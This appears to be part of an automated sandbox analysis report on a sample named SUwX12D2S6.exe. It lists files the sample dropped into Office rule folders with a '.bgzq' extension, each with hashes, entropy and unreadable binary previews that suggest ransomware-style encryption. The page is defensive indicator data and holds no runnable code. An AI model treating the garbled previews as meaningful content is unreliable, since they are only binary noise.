Preview:	<?xml....... 8.`.+l.......#....o.x&.S.9..H.`.T3m..."...........!DjxM....h?T...!........"..%..y.o\.G{.,]..'O.......f.Dg.aMc.[....'z>U...jx.._V_Zz.....>.......3-D.T..!:..((\|T[....IT%r\|%5y,B...p..U.E.%7Y...M.>.p......S.S}.E=..m..K..f,.......d.f..;..M3.8.;3.f;.Hi..O.jJ.X..o"At..t`.E.....K..(I....t....E,...t` ....EK.3./."i..0.F.....X....Rct...rk.2....BQs.<.>.d.#..x._...R..^...... a.0gu.....BN..Hq.;.........p.(bd.v.....!CT<...8........._..f..N.(L.6.o?......... cP.rE.P...L.of^.........w.....L....LR3...R.V.r.[.z.Y./...1..q..1:..BD,4}5.pm.e"..p..6?..-...,.. ...j...<.L.S..=`.......P....e........CU...V...$..\|..v....GP...,D.`......'.=.c...E..!Y3A.8.H.......GQ..,.....t.?...`a.KB.+0t.b5K.....-.....C.^.0C......WV'.g...6.... ......n<..P...A[..Z1.x.7?v&.x..y..c...g.?....%,.....}..6....&.7......O....^5...YuA...X+........vVz...L...j..5zNy..2'..............p....8...... 6Eo.9...c..!.. ..5.q\&k8C.:.Y..% ........$p...k@.K...)K..=.;...H!..l6e...n..3......

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120681v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1291
Entropy (8bit):	7.834970510144176
Encrypted:	false
SSDEEP:	24:9DfZYwYc54UgcQ21xXZyzMgDnM7Ktvm11hNZfWeJ1/Pd6vkVbD:BuwYU7N1x0ogb4wy1rYe7dFD
MD5:	96A49596310814BE9639F5D177B8E99B
SHA1:	14E2B6BE4D26C07C394117C9C74EA9994C06410F
SHA-256:	20ABBB9BF497C8EA532F860901EF0565A2C7CFD245485A42D71D3ACA1AB18CBC
SHA-512:	4A7790E3A36603E6B416523BE95A6DAB8C1A7718DA06EC4283AF54FDBC5B465A0F4B0E040A5CF237586152FB140C309F3500094FDCF22CD938B6BC83CDD1DB3E
Malicious:	false
Preview:	<?xml8.6..-..c..@...bg.N'R...4c.U9#.....r..U{.......1.Q+Hw+.]..G..e..1Y...[6Y....a...X.K.....R...0....x.~..z..i.o.....^p]=./.7...Q.cX...!....8.y....K&.qK,..}.....mJ+KtP...X.."........T.DY\V..`C.?e8.<.j..9...[...\.$[".........'.=...X...v.&.zD.v.q....@...g.a.W...........7..Bm..jA..[.{P....K...?b.d9\.A....M..h....^[..G..g.....1Oj#.........tj~..kR...x...'c.."t.1........eG.S.%.^3.&...0..]h.i..{..n..]#o?...n.m5.......1B '. .....3$...[w...K....k...{...(..@1...4M./..f.......E.5D.e&H.E..;....{M...(L\|. #....."...Z.V..../<%...U....rI.3.#....sY.....zK8..X..<.5.......S=0.;N._...c.....;...y..}.P....a5...U... ...'y%.w......y...\...G.....yH.^b..t.4g.(F.3..?.>....:.\|..UsC.y....(%.M.K.l.M@..S.l[....g...}.k.xya...._h&....S.....~.......t..G...K..8Nz>.....}.;..G..<.9.e.0P;.z..!......-.T-....9(......o.]..h{k..{.~.*..[c%...%....OK.K....N...{....#...K.d@.%>.C.",.Wu....BQ..4..F.Y.....Q..+bQk.l....>.4/....Mc.T.q]m.TRw...'tV.@[!.....I`.E1.EKr...5..A..q.._M...g

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120682v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	834
Entropy (8bit):	7.747550231785021
Encrypted:	false
SSDEEP:	24:HZu0poTVR807GCVbdN/R7hWUcGg8dLRJ49aOiVTaVbD:5u0poTRGCVbdN/RNWURgCxbQFD
MD5:	8540CE22A62E6E2D3A6ADBCF5E51AFEB
SHA1:	21C541CE44B8B1E931F132D65F9524E648A06BF6
SHA-256:	686FEADD6C794E052DCE9760911CC90F7813583E67D5029D4DB9B0AB60740DF9
SHA-512:	629DB3CA9E51CB327AF001FD3B6145CE6BC6C5D7DA3526E1E0AD3C31169DB56F6DC28EFC5BB00BDC0D560E43AF38890077CB85BF3B36259C3063838FD2356AE5
Malicious:	false
Preview:	<?xml.......s.5.....8.mK...If....!....OnC.y......C....J...t.m..X...wx..hU<...#....R~....=.......$}.vJ....9.]..h9....mI..%..z......$.b.;Xv.......{...../...(b..R...C.I...sS...u.)0.F}.$.\.A \.4?....v.......6...#...<.....x.BI/\....LK...#.%R..J.......a.e8i....<...s..=.R...uk.%.ng....b.X......}i.`.....H...RO8..Q@.y...4..f......7.q..u1.. y?0.,.y...o.O..c...v.-}...~k.}09.z...u\|.x....$M.P..x....R]...f\..,;.O[.....HP....}..%..F.......Xi..J..2....].*2..'.i3...z...L8.=..h.Jf'...wD.5...q~.....h....i.....H.P....^.IVc..st!j.}..4~..9-X.nxD.s.Em.r.8Q<....u..Q....5...7..1.._...=.`.u.....3_7+n2..f...."......9..}....4.......#.m..u...M..Z.;..th.Z.."`=;..V#..x.p.9.j..-.<g....o....'.[.W..U....y..q'..R.Li...U:..j.T.m>{.L..m_".v".~itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule130009v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	630
Entropy (8bit):	7.649548316934495
Encrypted:	false
SSDEEP:	12:+yfBdJxLJGncShTZE7kYpxmEb3z3sn3wB5cGFMSIw2x4gK0nci57jVcii9a:VZdzShpY/VTS+CGFMSIw2x4gzciVVbD
MD5:	42ED9E6A80574873B53E3FBBEBFE88B7
SHA1:	1E10AD2C35AEEC721C1CE8DD21C4E0A7B494C4E5
SHA-256:	8A34C44EF4CF67C0A43AC7CE5E0B6B2B9F331364EA7A9DA02F4ECE27A6661EA2
SHA-512:	319E35EB448382B29FEEDD947236C4B3281E1D29721E6D0D36A4C3116891C890EF1EDF1C83D0CC8920706A0A0BEB98336269B9EC9A1F477F9F3D59A84DD0D466
Malicious:	false
Preview:	<?xml.8... ....i...`..(....u...C.D~d....%I.d....\|o.....a.8I...5C...n..A..M.".s.0...Vk.......p.@)N$<.....^........p]......)....5.4.3dj#...5..>gC...!..$..F@..%..=.<.v=.E......sQ..=...+.}..y....@.sR....\..l..T>.bZp.)1.e.e..P,.j..<[.&..U"..=.2T.1(Q..lP.....D......v.J\|.....dx....8...9.......EM..T..yq..q...e...q..u..`x..{..D...t. 9.......-M>.....0.cZ~.-+.Q+. .~"#s(..I..t.~...,.....S6g.+`J!.L.\|.U.<....`.........K...*$..2..^.t.{.....HNp2.b.4.[..TV.t.g.Mu.6.......M.~.J':.(....uQU.C;....$....{$..v%.L...M.....]....Q....C.V?.7....itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170000v6.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	7.771220212740293
Encrypted:	false
SSDEEP:	24:rw7EVL/Xz4Wb1McV6rhBUN8jBhQ7XEiBHTeKVbD:kU/Xzv1McV6rwNgaE4TFD
MD5:	3E34A4454321102CA6FAFAA18E39EAD2
SHA1:	3883D7E5E78FE9C19E1A414EF48FDB5762469B4F
SHA-256:	FDD5F5F057F9103259143A759165B8D1057481F31755D095EECEF32747290DF6
SHA-512:	A8BD8EC7A23ECBFC9ECC0FE033313C3A35F1A43E5BA539D2D6E0062F161FCE015388338C91F66B5A75FFD6C3CD546288F1980A0DB5FCD433A50011B9C96A2E95
Malicious:	false
Preview:	<?xml.N].Ye&C...B>r.'E#E...d.s..?.........W.=./........m5.{.D.k.......m>.d...j.$..q1..+.,.....G5.o.....sH./..D.....-..D....R..C7....&&^..C....N@.%.4...!....T.....y>.~+zDA:C.{.h..T=.,.A...[.....wK.:.!....1.....c......+...5.#z.e....Z8.i....M..&[..)....`"(0o.s8yi....+..g.....ff.....6.!.m...s.,Gz.?.."F..>......:/.4..zwv..\|....[`Eb.].}....T?.."X..LJ....&....z..f..W."pg...FM.....E?.....G%.Wo..F..C...$..P.k..U.z.$.u....OM.}3....UK.i..?1..\|...k})..7..m....g....t.^...R..-....C3V!i8u..C.;c..^....A....7~...SS...U..........v.....<...$.....YoZ.B....WI\|%I....MG.-.L.6.p.......[`]L+I...N.\U.&.b.......uO....j.....1g...&.mS.@.....i.x.,B$._......6N.0Z......=..<t..V<~..e...0.].D......GE.w...b]..yTio.d..cy.m..v..#..R.r.3.\..W.L..9...%...^....s'3o.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170002v6.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	6314
Entropy (8bit):	7.969653391812957
Encrypted:	false
SSDEEP:	192:wkkzH5lVEMJBeT2r+/gz2GsIuXiKTJd3ffnrHGrCU:wksHVEso8zseKL3ffrHG2U
MD5:	3EAE05C5BE018B4E14B4112F389A8F0A
SHA1:	ADB1240B380DA4C672A908E852711E33293713E0
SHA-256:	F688981E284171E614725C8F08A453E3FD50BCE1258505E29282A6648E6F2000
SHA-512:	D7EE3C0D66489B8EE1BA024E8713E33AA50AAD7812667A93BFD99C3542A0AD1440334B828ACEDADD350C5579BDDB6B30022F3887521A59E908CF92AF387E6C96
Malicious:	false
Preview:	<?xml.....!2F...\t.....2^k...8....m.:..'.N.DLeo.....&/.SN:.6...m...T..}0%j\.e.o.B>..L..u..}.7.mO..dD....WU....TWr.o...T.."............C..<tq....;..M.@..9.Q..:..7..K..B....f.vn...J...=.....t.K.e.`.8=@.g..R`......Q.H.....&..{......1....JK.@..:<...~....6...7..&+........`mY..7.r.9...-L4....54...1?..Q...Z.D..!A_>._../...A%B.;.@._.m.Q..C;..^....@3..$X.\|.D8.....7..].1.!).....#.......:......[@....c..x.E#M........}..s...Fb...55..Hz..O..D.....p....B....:..R.fJt.S... .....g..b0.....zu..S..r.DBqS..C...Y#.Z..a..`....7.D...`..x......N...b-Y......(.....539CZ.0........w..E.A.<....G../.I.(....VC....-....s...1..X..v.[2...eA...B(J8,.(B.{....\|m..n....j.)./R..w...+...`..U..A.....:.?..l($..{..bo........e..!.?D./..........&.9..TB.5...V.8}\.....o7@.Wu...;......@.Co.p{x...H.=...{6i.b.......Q#.g@..[.....c.x,.6.t...._.. s..C.8q.g.>.46.R.Hm.E....H..z.ZE...0..;.`;...........W.....LN*.L.D..o...@...K..L[.8.g...z....}.S.$. .@V..j....t-.?b]\|...Q...V;?..eWAs...o.N.o....Fv..x..

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170003v1.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1029
Entropy (8bit):	7.823219947678766
Encrypted:	false
SSDEEP:	24:t1cXnDRaEbazU9RfOgvWsbgRbH8nmAhDWCpgQjVbD:cncZzC6IgZemAhDzOyFD
MD5:	D455D796B31B0D63E3EFB9FD2EECB22B
SHA1:	AFD714396527295CB6563F26305A5F0B60ADFA36
SHA-256:	E631C8B5E971E4F166258F2B6A4526DB7A16100EE272A90EE15A941B44F85E41
SHA-512:	E6F06CDC6E3FD806B82866452FD8C82161EA7B7D36CBE275CBA3E823BCBD8F0B270A11E663654948F1A3807EAFEE5FB24EBA6962BBF9BBD5D257CB9E766C89C2
Malicious:	false
Preview:	<?xmlCv.R.c....P...v.._G.s1A..cF,\..T..d....@..G.@d.....T.."..=....9..y...._9J.....&..[@j.....X..2\.n....#1J..@6)!5.o.v.R.8.f^5#}......gnT1y\|.z.}... ....$B_...!.5.p6...u.....).e..B.4..k....a.....(ruX..`...SA CBD.cgf......Y.. k..<z.7:...h....?.`;...xC.........g.$..P.O.'...n.Xo.............y'..........]...<..........m.X....LS~)..8............\|:.?L..........i.19a._.b...m.M......'..{.;.H.>O.t..6....?...B.z....Q%#.$.?.C.JZUJ.=..`.Xy.2\@J.Crh..'.X%...+...Za>......A...NO.......:+vq...D....tkr.....i\"...?..NE..D....L.h...\|]. ......M..U...(P~)3..O..\|.`3E]\|.7%......_.:e....]P..V.=...f..h..V. G...qb.....A....m..,=`.O..:{.....M<v)........o.....t<...7...K.j..Sl.B..B ..r>..u.mi...">gf..9^....R......]...V..-......O.wS.u......7..".F.......>....HM..4.....j;.mIo.UW\..t4.3....c..x."Z.......w..@....c.(QU.n(sS..7.G.k.2D.e....v.g...(+2..().H?N..d.@w.LDgc...#...?+..=.........<...4.?)ln.%.G.zc.oj.T....I!l[/..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170005v2.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.801345738170031
Encrypted:	false
SSDEEP:	24:Vtpx1cN2ZdYZQhggnIlfg6knD43OT3zVbD:/pbPggnCPmDXHFD
MD5:	058B6045BA5D325CD0EF9E6C48C6A289
SHA1:	C2CF540ED148F6C7F50746E579B63EAD651557B3
SHA-256:	1545424D14C82B81885265C50DEDFD74FD8D91CAEB3F0305C85C711F8C92275F
SHA-512:	FC91BF6C5351B942F90DC74D6ECB9CC6B882611B3C5121FC9342D3160C4F58A4A306B6252FDDFD40369E7111A7A0734D1D96CBFBEB8BFB1013A1E7F6F3EC1B47
Malicious:	false
Preview:	<?xmlq.......J..J..P1...B....;......xw.E.g........X....X.]...#...X1c...........=...p..y..(..........o:d....0K....j.....%.2..e.....~V.....H....i......[...B....A..& ..L....z.t.lF.]p..`../N..{..z..k./.%....._.e.\.jj.[.x....o. .3^..a..G.PO.X.,...%.U...o$.....t.....0R.n..i.p.....:v....9X....:%.<.....B..... TZ.i.d...Ja..^...0`Lv...KY{.`BA<.7./'}...B..5$.NX.vU...R'....S..v.}.vZ\..14........6....b....5...]..-9...=..CG........@...%...P.n.E\|.u{H.M.!.9JK:.R.'.....t.l.'.eZ.;.H..-..k..{.......d..2....(.g...B}.....r2.7.Y.\..Q.>..^...(,r<...,[....I.6..l~YP..-.$.=e......ma...l_-.Z...2.!.d..w!v....Dn.J. .....n=;.Zyd....+..}.4.$Ji...M...A..u.......z..5..0.rp9..J.b0.X?.Qe..Q7..........}p..n.h.Q.M.....rG...2&M.:.k.......F9#.j..uZ.)E,_.gz.'}.I.g!..Q.Y2v.{5A....%..xO.cz .....".3..1c.c...j#.`..GB...k....2......;.6..K..L..Y...$....9F..;.......&L.v.2...D..M..GI..M..mEl...>^.`D^....&.1....W..8...4.B.......~.( ..d:6..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgf

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170007v5.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1415
Entropy (8bit):	7.860323243665516
Encrypted:	false
SSDEEP:	24:lUnNS+dMvx53MJ9+ZPSX6TB0tgcPPZZmoqKSv3nYqsyT1VCV+MEiVbD:lENJezJZPSqTCtn3ZooqKYYvuCVdFD
MD5:	B2ABAA54960CE96F5D6DBD7BC85E1D72
SHA1:	70AFD1538B3C922E27C11434597B84FC92C5F9B4
SHA-256:	636519F063FE1A2E45CC13C5B260F3073F00BEB8BEF43532D80E00146B39D466
SHA-512:	2EA99109DB9CD25B3241FD4D0D89E7713BDBE6616B50D4AF043DF3AEAFFEB9F3ED67CE2E7A0F95DC91B87C6323164E13BF84C376CC5FEBD08B68B84F5A3D5F5D
Malicious:	false
Preview:	<?xml.....+I....3{../S.2._.e...$........1>...a.W.b..BF (.W....4.......P..G.8.Y...Y...'.o.q...oU..V.....a&.}.N..L1.f~.,Ba.<j.z.....r..G9T..>^..D.......Z.&..wB.Y.A../tbGl.WF........g...U..G.... .'..!Y..L..(....<..!n...Z..`..mD......i...b..&..Xp.[L../4?....c. . &...g.P.'.}.>w[Ac.G4...'...Hn7^.."..pi.M....m.^.b.r.>..Iu.c)....@jG...a......e..>s..E+..(..$.(D...Idl....L.......~. ....[t.+.k....I......X\|...J0...j....f.aG.....x.d..EI...w.@...a!D..U..%F......A?....D.P(Z.8U.r4Bc[.>.d..]./...AU..mc....Ql..VY..f.{..Q/8;.......;.: .B.7+.v..v......p.!6`.WG.s.~z\....[Y=......U^<.qN..[....AU......W......*Z....8..p......7l.x.L....C....3...a.u....gv..i.<..4F.\.....!u.....ybS.]..Y..m.4)0.12q../.[..gd.RP.u....e...W.v.&...1?..].....{l\|D@%...v.H.....q....-...E=.g.z9.^..5....%....>..;.C........qX...q)..F.......)........J..".......m...(.C.Wif.?...G .,q....e...y.k... ..aeB.\|..B...I[.L..S..;.c.zP...T]A.~.Ti..&..@B.H#uP.Y.^.k..F..x...9..].S.m.G...N.O5s.G.n.0.s.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170009v1.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1073
Entropy (8bit):	7.827249414873473
Encrypted:	false
SSDEEP:	24:Yb7PoDfQijtVssFY9yWzqbPWbsuYYN8qpK0bQ0Cm23c3ZBO/OVbD:Ybrwf2DaMFNLI0c0Cm23c3j2OFD
MD5:	BB9EABBE592D78EF47128D449F9F3F1B
SHA1:	6A2F2C99E0239F632956AECCB98069573292966D
SHA-256:	2C1DB1899FC3BD3D0B99891A45084EC6E4CBBE75A27272D1D5AF08062414B137
SHA-512:	23DA491BD4E168EDC195BFE237BEE77AD7AB6ED16BCBD03080D297072FC78B65B14BB55ED9AE8D7E8EE240CA3D400958E96ED75B41B43EC099073910469AD538
Malicious:	false
Preview:	<?xmlj._s..Xnhr.yG........U..m/!.iOl.W....mv2.n...4.H.u.p..t.".m..:.<.g...d.._.#..Ip..hsRv.Y.e_..x$...O...k.(+.....`O.c:..:.?Z....&j..,...3.. .NF.....f^..;..#.<.Y..p.Q.\.C.G...`>-7.5.a..2<../..ern1...d.gX(....L.).5......[V..p.......pTPQ..I>@.U.5.(".JA...KyM.w1.l.d..1t.Y.......A.$~..8\.%,z...6.s.k.6...?...z./.&..r.m...' s......8.M..G..v........].D>..VC......x.....qp-..._..~..P....w..M.Q"..J.M...(..(.I.B..Qm...nS.=S.c._.J.ey..M.\|....!A...p...:.Fo.....DG./..A7.......c..@!Q.,.;.B.8..1..lba.....g..g.......jM.]..^.../.5...u]'.FX=>f....U4h.zm.e#.q..L....V..z.y.YQ.0.l....c!....G1.Ud.....D..[......!.....g....S.I...x.;....gy.q..0.[...!.Wlb<.W.. t.......F.U. ....i..%p.%Nh.@...p....0....8k.w.\.nf.Q.6.......S.N}.J....3....f'FUbL............#..nY>.......q.....RZ>.e..R.+..e.t.i,h...M;.t....V..H...+.;..}[EB.,..N.....L.r..P}......&<o..tjA.y.....6`..i.'U.8.)..z.....{.I.oq..C.....=..H.h^P8.`..nH.....1.$....P..af.=Apm.R.$P......:....1.L."...v..itkm7

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170011v2.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1154
Entropy (8bit):	7.814643703478988
Encrypted:	false
SSDEEP:	24:c2vD8Ioxoy3IUEi9dZPk4+VKFpK7BeNZtm7ayENYHioVbD:cmbox+DQC4XLYBeN85ESVFD
MD5:	1F4FC9CAB202157BE5E7D6D92D90761A
SHA1:	BFCF2D41EFB861A3746795B7D4C17DAA3DF1A524
SHA-256:	95FE01B019269CF4533263EC1561D2DF9B5C0B76DED3385C09F026F18521BA1B
SHA-512:	D822B595D7DE740F11B42F10C3C72AB126DAA781E5FEFC6C1A984250B11934BA163DC48E453E03913A5D3F06239DDC12D3439C8FE5516EFF335D9FA159E01B9F
Malicious:	false
Preview:	<?xmlz..e..........TC.i..+.\|Q(PM....J.(...".5.r.......f&.. b]c0....'..L.D..Ch.......P...,M.`.#.e.-G4..M.L.... /........X^....I.d...`.......ai.9...EN..A.nn..a...%.2s4yH`..4.vk)....,0.....h%v.B.-(.sF...+....^....C... ..T<.o.6"..Q.pY........]e..l...P.N.2..I6.{......i2M...V6......4:F......... .m+.z&.-.2..m.Whs.......n@9.8......e...b0o..w..4...b.}...8.M...<..6..'.....X(.r.B{\|-).R.......l.sl...Q.@.W...W..7............J;.....aeU.#.aU..B{0...Z....\|.,h..fZ.d..!.xi.....)b.}n..?...$..SK..H.<....b.T.B.u!8. &d..^.....G............jR.B...$...?..z...x....VN.Y...Q.}.[;4-.3..A..s.O..H.I.7t]@...d..../....{-.>^Rr..n$,.. k..obb..T......a.1..9.q..D..d._".&.=... "...e..8.u.1.H.....0#.Y.uVi..\|...T..#.]...cF..(..u_...:.ec.P....s.2/..;....L$...8...........Sa...{..p..`........Z..H.}P......W..."k.6..0.gvO.1AE.9_^.c.....Pp..[;}'..k"...1..n..,.d\|.X..S.P.B.....?xVR.l.<.7}94...Q..._.K]\.h...&.t...{..>V3e..G..U..e._Jz.W..e.....@Q.68.,#..5......k{.#...U.`.}eZ%.........g.......&

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170012v8.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1902
Entropy (8bit):	7.901476685077013
Encrypted:	false
SSDEEP:	48:LoIlTB0z1I9A5pM7Ww0Nns6wwmHA2AFLzSppPg1QF3y/ORncFD:EIlTqxI937WlNDmHA2gevPg1Q3qORnc9
MD5:	15E96EC6F40022A5E975D9A21D0C6DCD
SHA1:	5A82248A93DB47EF609E88BE05C626B778F6DB6D
SHA-256:	00FC877428F4F97225B403D127845BA298B889162FB142D59B10964F184B1E22
SHA-512:	647D73DDC5765D89D03BEF278C2ED25A558730A4E020C3D0A72313DE315DB2B28B8A00CD818AC5458B594CE03670783323C66483781ACFE26CF5501FCCE6E348
Malicious:	false
Preview:	<?xmlgc/..$.W.A(x...-.....ra.....S...$.........x#..._.f......?t(...#51M.R...&.;l.!.I..r+.X..>.<..AYsR.wqc.#....y.....jO..i.C#.z....K.F.A.......p..N$.....1.(.\(..M.N..z.pJ[8..=.R)....U.....3.nbC..P`.b8...o x.i.6..d0-..t...46.8..K.5.....ZC......I..m..V2.gO.J.'E..-'/..hZ>.t......".C...].~...__..z.....d..<....c,9..u..%.K..~.........4.ej....B..yu......~..t../`;."....s.@+z.m..>.......sU.A...E....c...x.PN...X.Z0........X.t..ju...g..Q.r......q..Uj.o .X.gG.v...x.j.c..!.o3..../......'s...m....G.)....O...I..U...2r.C6......d.y. ...7S..p../.]o.3....L...w...{{m.V.r......Hp....'M..\N..H<....y...z.K...F...z. ..OLlj.~&.m.\..H...V.b&......%>M.G..-r.....g>........3\|...`.}...gU..g....E.{.......=9<5o... ..@....Hs.w^o.....}.A./z..'...lT..a."mp....v.>....i.....d......Z......`V.).D...........S@....{..SN.v!.m=.......L~+1..X...Y:......D.[Wu..q.+.z.#.$....n$.$...L..b.A....yOE ..ik.0........:...1..J.....v...}..c.......%.....A.PL)R.....@. .6+.r..%.V.?.V.m

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170013v1.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	712
Entropy (8bit):	7.701367769164758
Encrypted:	false
SSDEEP:	12:8Gn6MGXbY/9LPj3PSEWW9slJXKRoBCWTIGFmJZzmVit6VB9kPGezt94bEP6jVciD:Nn0XbmLr6x14oBFbuZzmViwieLVbD
MD5:	21C850EE687948800B9A6E923DA767FC
SHA1:	A01BBA9499662A181878D07E344C36861F62CEB6
SHA-256:	38868DE035D32966B678DD981522675DC7F174B43C0E813DB4E0E214D9656509
SHA-512:	D5FE4668E6BEA32CEDEC8F43EDBC410E5C0617B60A6732585C91207F2817600F049D5F52BD19AE34ECD30B646AB8FFE959958B9CC8C0F272DE96BF48AD116997
Malicious:	false
Preview:	<?xmlNd..!.?.}J-..pt.!.A'.."....d.n..W..o..i.dg........_...F.3....pL.`es........\B.F...IB.I..!..d`J]g,.>?&R?4...../b...mI =.. ...29.u.~....jD.....$........ .....Z0..!P.~.Qz)...`~.'...."...l5..c..N...u.@......7...\|:L..~E..W.i"...g.uDS'{o...j..FPj..#Cx.=i.^.......,b.!.....E..=.y....W.....u.!.. ..&Z0.k.x.........e$%Q.....Hv=I@.@.&..qq=^@g..$....-....p[....z...>..[...?%R.....N.)...N.%.F...i.Rjl.bb....n...<.y..I.c............._>.d.M.g.=.....x..t....1...(.+...;n...f>.F..\|................i.\|f...1._...H..........>..KN...ka.Zu..l.....B....S.\.OK2?bL..x.v.d...dGx..'U..h...2r^..:F;.&X..j.g.c...Vy......itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170014v4.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1707
Entropy (8bit):	7.900410704580134
Encrypted:	false
SSDEEP:	48:gdMdXYe4nBJmXeq62YNwlmrE5VzK6MIb4VqLgfTsFD:mMdqnBvpiCQVzK6dbgqLP9
MD5:	8A18469003250469AE0243A9A027395C
SHA1:	75525F37C387E06AC4DA538F5AC3847BAE4CD903
SHA-256:	F899AB067358101865D27DB540EC3033A607C3D98953FB059B32219695BA89CF
SHA-512:	E69E909C085D01CA616E8B3095ABA6CCB5236EDFD3E693072C306E66EC7A95E1C8E958AE49803BD0BD55A1FCA0B80E037AC83DD3A01F42BB7B3EA45176DED260
Malicious:	false
Preview:	<?xml...b.A..(S9ma.(..>K.n..G(=...z..Q.....K...'..C..x..iTg.# ...Ggr;....y.j.\|Q;..v..^.....Bn.`....G...O.?...-.c..SK.0H.:..<%i.KJ..~Y..............C..v.Z..{...m......V.\|&W.......q.:y.~.'`.S.........-e.'=......9.........6..xF.!O[.....@.....B,...F...>..Yo\.>.z...._...8.....J..I.....D.<.X.1:N.T.X/...e..........2......~..uA....{..Q.~\.v=.H..Wx..u84S.).t....,qgne6.H...Lm....q... &..UN.AY...../rP....%.3)........+..0.7....gL.....".1...:...b....J..Nw]..........._...E..K."..]...{.d...[d.4..o.)..9....d..q....0..C....f.\|..L%....H.m.?......A.<r?..z.XF...........Y......H.j@...B,.,.Z.Q.....+.Bb....]Js.....j`jh.....(.GE6...T.j..W......x.....N(..f..W.wh.v`..\|...N.XCC...y<...b...2.d......U.uGp.].{..8q/{..Y.K..Aw-...3......W..zm..@K)L9..+.a...U?u.=zs@......&Nl.\.C1.^.B...5c)N.+.({..u.g.)...F.{01....'./2.\|.i.k.....i..x.).U.g...I!........l........S.}....t.r.?Z......31.%.b.E..:.....:5A._^P1..q..%..Y...F4...(.\.\... ..........2sV.P:.(2=$.2.K.\.y..:.........

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170016v7.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	2111
Entropy (8bit):	7.904228530413923
Encrypted:	false
SSDEEP:	48:7VIhMlToZgJReajp7o58KBbMJeN7JGtSsi6z9FFD:BIhMBoZq/jVEu8I9F9
MD5:	2DFB86BBDAF0F1935869108B603127CC
SHA1:	2BF6110BB8ECE1D2C73D627BD2BB0AD67CF39A20
SHA-256:	2D7B0EC02010A7E892C6D5376761C051F9225C4C0B5169A6270F4774C2063AD8
SHA-512:	0D918F68C826B5390BF52317B5137E81F66794149DFD1AAF0185D0A1E1A1EAD117D06832B7A74B202F193A411AF2D2107319B6C3D3D79BA3BFF7DEE186C75216
Malicious:	false
Preview:	<?xml..q..)..Ta.0s..v@..z.....r#......D..,K.P...>....u.{R.i.4.m.T..'..`..n.Rv...V.!..M+.Q6>.OO7.x)e$....PL.............5....U4..P..m....g\......f.Hx.....}...!..:wjz.y.;G....]No.!.a.._/..Zg..T.5sg.K...L...g....;..t0Q.r..A.Z.c.....O.4FO.v..uO.Cj..C....D.)..6&.u..)..>..Q+.....j~..Ue..lT.....\|.n........[.M.9WQ..V'/......Yz..[..JY..z..(..d......{.,]5.e..'.....^.J.^.......>.....Wixg..[..x8.....5#.W......r&...........+c...x...-,....U..#....J..q.v...23I.IDSh\|.2.0I..OCx.0Z<...(OH._.....g.06V.x:,.3.tF.....V\|V...o.h...)^Sx........_Jt.........[.H"6...r...J....28V.F.q.^...x&.R..HW.T...T.t(..$kb#Z7O.....2.0.. ..F...+.:...p.+.?J:....f....-p..`.zMV.(.......X.[*.a.+.K.`rn2-+.r] .f..E...==..h....b.LEa.'#%h$...P..G..S:"oZ{.-3. 